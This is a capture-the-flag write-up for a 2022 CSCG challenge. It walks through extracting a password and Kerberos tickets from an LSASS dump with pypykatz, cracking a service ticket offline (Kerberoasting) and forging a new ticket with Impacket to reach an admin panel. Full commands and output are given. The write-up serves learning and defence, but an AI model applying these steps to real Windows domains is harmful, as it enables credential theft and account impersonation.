This is my first writeup for the Cybersecurity Challenge Germany (CSCG) in 2022.
You are testing the security of the CSCG organization and managed to grab an LSASS dump of one of our admins. Can you reach the admin panel?
Category: Misc
Flag: CSCG{3a686da7ab9360debb2d09dce7f7b2e9}
We receive a file called lsass.dmp
. We inspect it using file
:
$ file lsass.dmp
lsass.dmp: Mini DuMP crash report, 11 streams, Sun Jan 30 22:38:48 2022, 0x1826 type
We see that the file contains some memory of the lsass.exe
process of a windows machine. lsass
is short for “Local Security Authority Subsystem Service” which is responsible for enforcing the security policy on the system [1]. When getting access to a Windows machine, it is common to create an lsass minidump to extract security-relevant information such as credentials or Kerberos tickets.
Next, we look at the challenge server. When making a HTTP request to the server, we get the following error:
This gives us two pieces of information:
Negotiate
mechanism [2]. We have to present a valid service ticket (TGS) for the webserver. In Kerberos, the default way would be to get the Service Ticket from the Ticket Granting Service in the Key Distrubution Center (KDC), using a valid ticket granting ticket (TGT). Since there is no KDC available, we have to get the TGS in some other fashion.HTTP/itadmin.cscg.local
.Using mimikatz
[3] or its Python reimplementation pypykatz
[4], we first dump cached hashes and credentials (I left out the uninteresting parts of the output):
$ pypykatz lsa minidump lsass.dmp
[...]
== LogonSession ==
authentication_id 794255 (c1e8f)
session_id 1
username tobey
domainname CSCG
logon_server MINT
logon_time 2022-01-30T21:08:32.370580+00:00
sid S-1-5-21-2728977648-1687321919-392037978-1106
luid 794255
[...]
== WDIGEST [c1e8f]==
username tobey
domainname CSCG
password aWsh9s2K4NSMWbvLtwYUCyKDVn2A3L
password (hex)[...]
[...]
[...]
We see that a user tobey
is logged in at machine MINT
in domain CSCG.LOCAL
with password aWsh9s2K4NSMWbvLtwYUCyKDVn2A3L
. Next, let’s look at the stored Kerberos tickets:
$ mkdir kerberos_tickets && pypykatz lsa minidump lsass.dmp -k kerberos_tickets
[...]
$ cd kerberos_tickets && ls
lsass.dmp_15916aa5.ccache
'TGS_CSCG.LOCAL_WIN-HE4QK927VS3$_LDAP_mint.cscg.local_71c1d32b.kirbi'
'TGT_CSCG.LOCAL_WIN-HE4QK927VS3$_krbtgt_CSCG.LOCAL_1d4ade1e.kirbi'
TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.kirbi
'TGS_CSCG.LOCAL_WIN-HE4QK927VS3$_ldap_mint.cscg.local_cscg.local_1598fa77.kirbi'
'TGT_CSCG.LOCAL_WIN-HE4QK927VS3$_krbtgt_CSCG.LOCAL_1f60e360.kirbi'
'TGS_CSCG.LOCAL_WIN-HE4QK927VS3$_cifs_mint.cscg.local_68e19618.kirbi'
'TGS_CSCG.LOCAL_WIN-HE4QK927VS3$_ldap_mint.cscg.local_cscg.local_5e84e06e.kirbi'
'TGT_CSCG.LOCAL_WIN-HE4QK927VS3$_krbtgt_CSCG.LOCAL_9ea85300.kirbi'
'TGS_CSCG.LOCAL_WIN-HE4QK927VS3$_cifs_mint.cscg.local_e3bccd8a.kirbi'
'TGS_CSCG.LOCAL_WIN-HE4QK927VS3$_WIN-HE4QK927VS3$_9e686930.kirbi'
'TGT_CSCG.LOCAL_WIN-HE4QK927VS3$_krbtgt_CSCG.LOCAL_ea4b866f.kirbi'
'TGS_CSCG.LOCAL_WIN-HE4QK927VS3$_DNS_mint.cscg.local_cfc78dd1.kirbi'
TGT_CSCG.LOCAL_tobey_krbtgt_CSCG.LOCAL_1bacf975.kirbi
Two tickets immediately stand out: TGT_CSCG.LOCAL_tobey_krbtgt_CSCG.LOCAL_1bacf975.kirbi
which is the TGT of user tobey
as well as TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.kirbi
which is the TGS for the webserver. Since we have no KDC, we the TGT is not useful to us here. Let’s convert the TGS to a .ccache
file and inspect it:
$ kirbi2ccache TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.kirbi TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.ccache
INFO:root:Parsing kirbi file TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.kirbi
INFO:root:Done!
$ KRB5CCNAME=TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.ccache klist
Ticket cache: FILE:TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.ccache
Default principal: tobey@CSCG.LOCAL
Valid starting Expires Service principal
30.01.2022 23:13:10 31.01.2022 09:07:58 HTTP/itadmin.cscg.local@CSCG.LOCAL
We see that this was a valid TGS at the end of january, but how can we get a ticket that is valid right now? For that, let’s look at how Kerberos works: A TGS is some piece of information that is encrypted symmetrically with the shared secret of the KDC and the service. In reality, this shared secret corresponds to the NTLM hash of the service’s password. Since the webserver service uses a domain account, its password may be weak. In that case, we could crack it offline using a wordlist.
We can use John the Ripper with rockyou.txt
as our wordlist:
$ ccache2john TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.ccache > hash.txt
WARNING: Not all the hashes generated by this program are crackable. Please select the relevant hashes manually!
$ john hash.txt --wordlist=/share/tools/rockyou.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
#dare2stealmapassword# (HTTP-itadmin.cscg.local)
1g 0:00:00:07 DONE (2022-03-23 11:55) 0.1386g/s 1987Kp/s 1987Kc/s 1987KC/s $#$BAYB-HOOPZ$#$..#children7#
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
As we can see, the webserver password is #dare2stealmapassword#
. Therefore, we can create a new TGS, authenticate to the webserver and get the flag:
$ pypykatz crypto nt '#dare2stealmapassword#'
0fea42897a16fdab918d8a82f6de26a0
$ ticketer.py -domain cscg.local -domain-sid S-1-5-21-2728977648-1687321919-39203797 -nthash 0fea42897a16fdab918d8a82f6de26a0 -spn HTTP/master1.cscg.live tobey
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for cscg.local/tobey
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in tobey.ccache
$ KRB5CCNAME=tobey.ccache curl -u : --negotiate https://3f3760b31b84314dd04e07b7-it-admins.challenge.master.cscg.live:31337/
Welcome, IT admin!<br>
Please, have a flag: CSCG{3a686da7ab9360debb2d09dce7f7b2e9}
Two notes on this command:
master1.cscg.live
so that curl
uses the ticket for the request. For debugging, it is helpful to set the environment variable KRB5_TRACE=/dev/stdout
.The attack of obtaining a TGS and cracking the password offline is called Kerberoasting [5].
As in the challenge, the general targets are domain service accounts in a Windows environment. These service accounts are different from regular user accounts because they have a Service Principal Name set. Any user with a valid TGT can request a TGS for these services since it is upon the services to authorize the users. As shown, the ticket can be used to crack the service’s password offline.
There are two possible mitigations that protect against Kerberoasting:
[1] https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service
[3] https://github.com/ParrotSec/mimikatz